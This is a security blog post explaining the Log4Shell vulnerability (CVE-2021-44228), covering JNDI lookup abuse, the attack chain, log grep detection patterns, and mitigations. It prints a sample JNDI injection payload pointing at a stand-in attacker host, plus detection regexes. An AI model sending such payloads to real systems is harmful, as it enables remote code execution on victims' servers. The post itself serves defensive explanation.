Analyzing the Log4j Vulnerability

A technical breakdown of the critical RCE vulnerability that shook the internet infrastructure. We dive into the JNDI lookup mechanism and how it was exploited.

The Vulnerability: CVE-2021-44228

Log4Shell, as it came to be known, was a zero-day vulnerability in Apache Log4j 2, a popular Java logging library. With a CVSS score of 10.0, it represented one of the most severe vulnerabilities discovered in recent years.

How It Works

The vulnerability exists in the JNDI (Java Naming and Directory Interface) lookup feature of Log4j. When Log4j processes a log message, it interprets special syntax and performs lookups.

The Attack Vector

An attacker could exploit this by sending a specially crafted string to a vulnerable application:

// Malicious payload in any user-controllable input
${jndi:ldap://attacker.com/exploit}

// Examples of where this could appear:
// - User-Agent headers
// - Form inputs
// - API parameters
// - Anywhere that gets logged

When this string is logged by a vulnerable Log4j instance, it triggers a JNDI lookup to the attacker’s server, which responds with a malicious Java class that gets executed on the victim’s system.

The Attack Chain

1. Injection — Attacker sends malicious JNDI lookup string
2. Logging — Vulnerable application logs the string
3. Lookup — Log4j performs JNDI lookup to attacker’s server
4. Response — Attacker’s server returns malicious Java class
5. Execution — Victim’s JVM loads and executes the malicious class

┌─────────────┐     ┌─────────────────┐     ┌─────────────────┐
│   Attacker  │────▶│  Vulnerable App │────▶│ Attacker's LDAP │
│             │     │    (Log4j 2)    │◀────│     Server      │
└─────────────┘     └─────────────────┘     └─────────────────┘
   Payload              JNDI Lookup           Malicious Class

Detection

Look for these patterns in your logs:

# Grep for common Log4Shell patterns
grep -rE '\$\{jndi:(ldap|rmi|dns|ldaps|iiop|corba|nds|http)://' /var/log/

# Check for obfuscated variants
grep -rE '\$\{.*\$\{.*jndi' /var/log/

Mitigation

Immediate Actions

1. Upgrade Log4j to version 2.17.0 or later
2. Set system property: -Dlog4j2.formatMsgNoLookups=true
3. Remove JndiLookup class: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Network-Level Controls

• Block outbound LDAP, RMI, and DNS requests where possible
• Implement egress filtering
• Monitor for suspicious JNDI-related network traffic

Lessons Learned

Log4Shell highlighted several important security principles:

• Supply chain security matters — Know your dependencies
• Defense in depth — Multiple layers of security are essential
• Network segmentation — Limit blast radius of compromises
• Logging hygiene — Be careful what you log and how

The Log4j vulnerability serves as a reminder that even well-established, widely-used libraries can harbor critical vulnerabilities. Stay vigilant and keep your dependencies updated.

Unpatched vulnerabilities remain the top entry point for attackers. See how automating vulnerability management can help your team stay ahead. And for a real-world case study of what happens when patching fails, read about the LexisNexis breach caused by an unpatched React app.